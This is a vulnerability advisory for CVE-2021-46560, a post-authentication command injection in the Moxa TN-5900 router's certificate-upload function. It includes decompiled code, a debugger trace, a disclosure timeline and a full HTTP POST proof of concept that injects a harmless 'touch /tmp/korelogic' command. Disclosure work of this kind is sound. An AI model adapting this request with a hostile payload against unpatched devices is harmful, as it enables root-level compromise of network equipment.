Moxa TN-5900 Post Authentication Command Injection Vulnerability

Vulnerability Details

Affected Vendor: Moxa
Affected Product: TN-5900
Affected Version: v3.1 and prior
Platform: Moxa Linux
CWE Classification: CWE-78 Improper Neutralization of Special
Elements used in an OS Command
(‘OS Command Injection’)
CVE ID: CVE-2021-46560

Vulnerability Description

A user who has authenticated to the management web application
is able to leverage a command injection vulnerability in the
p12 processing code of the certificate management function
web_CERMGMTUpload.

Technical Description

Following authentication, the webs_CERMGMTUpload API method
becomes accessible. This method takes a multi-part HTTP POST
request containing four parameters. The cer_pw parameter does
not properly neutralize special elements used in operating
system commands and therefore it is possible to include
encapsulated commands to be executed. In the request below,
the cer_pw parameter has been written such that when executed
by the operating system a zero byte file will appear in the
/tmp directory. See the Proof of Concept section.

The relevant pseudo-c for this API method is included below. The
websGetVar function is used to retrieve the cer_pw parameter and
copies the value into the pass variable. The opcode (mgmtmode)
is then compared to the number 2 and when true will prepare a
command to be passed to system using the sprintf function. When
preparing this command, the pass variable (cer_pw) is included
without prior first sanitizing the user input.

void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) {
  ...
  __nptr = websGetVar(param_1,"mgmtmode",&DAT_120064f68);
  opcode = atoi(__nptr);
  __s = websGetVar(param_1,"cer_file",&DAT_120063dd0);
  local_338 = websGetVar(param_1,"cer_name",&DAT_120063dd0);
  if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 < lVar1)) {
    sVar2 = strlen(__s);
    if (CONCAT44(extraout_v0_hi,sVar2) < 0x41) {
      ...
      sVar4 = strlen(local_338);
      if (CONCAT44(extraout_v0_hi_00,sVar4) < 0x41) {
        ...
        if (opcode == 2) {
          memset(pass,0,0x41);
          __s = websGetVar(param_1,"cer_pw",&DAT_120063dd0);
          strncpy(pass,__s,0x20);
          ...
        }
        ...
        __fd = open(inFile,0x102);
        if (__fd < 0) {
          ...
        }
        else {
          sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39));
          ...
          else {
            if (opcode == 2) {
              outFile = FUN_120038e28(&local_159);
              snprintf(cmd,0x100,
                       "openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile
                       ,outFile,pass,pass);
              system(cmd);
              ...
            }
            ...
}

Using a debugger we can see the command as it was
programmatically created using our malicious input. This
command is passed to the system function.

(gdb) x/25s $a0
0xfffbddb284:	"openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`"

The file has been created.

# ls -la /tmp/korelogic
-rwxr-xr-x    1 root     root          8072 Sep 23 20:30 korelogic

It should be noted that the cer_name is exploitable as well.

Mitigation and Remediation Recommendation

The vendor has released a patch which remediates the described
vulnerability. Release notes are available at:

https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
and Josh Hardin of KoreLogic, Inc.

Disclosure Timeline

2021.02.05 - KoreLogic submits vulnerability details to Moxa.
2021.02.08 - Moxa acknowledges receipt and the intention to
investigate.
2021.03.02 - Moxa notifies KoreLogic that a patch for this
vulnerability is expected to be available in June 2021.
2021.04.16 - 45 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.06.07 - KoreLogic requests update on the status of the
proposed TN-5900 patch.
2021.06.15 - Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021.
2021.06.23 - 90 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.07.25 - Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021.
2021.09.22 - 150 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.12.21 - 210 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.12.27 - Moxa notified KoreLogic that the patch is complete and ready for release…
2021.12.28 - Moxa public acknowledgement.
2022.01.25 - KoreLogic requests CVE from Mitre.
2022.01.28 - KoreLogic public disclosure.

Proof of Concept

POST /goform/web_CERMGMTUpload HTTP/1.1
Host: [redacted]:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
…
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
Content-Length: 605

-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name=“mgmtmode”

2
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name=“cer_file”;
Content-Type: text/plain

korelogic
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name=“cer_name”;
Content-Type: text/plain

test.p12
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name=“cer_pw”;

touch /tmp/korelogic
-----------------------------9051914041544843365972754266–

HTTP/1.1 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html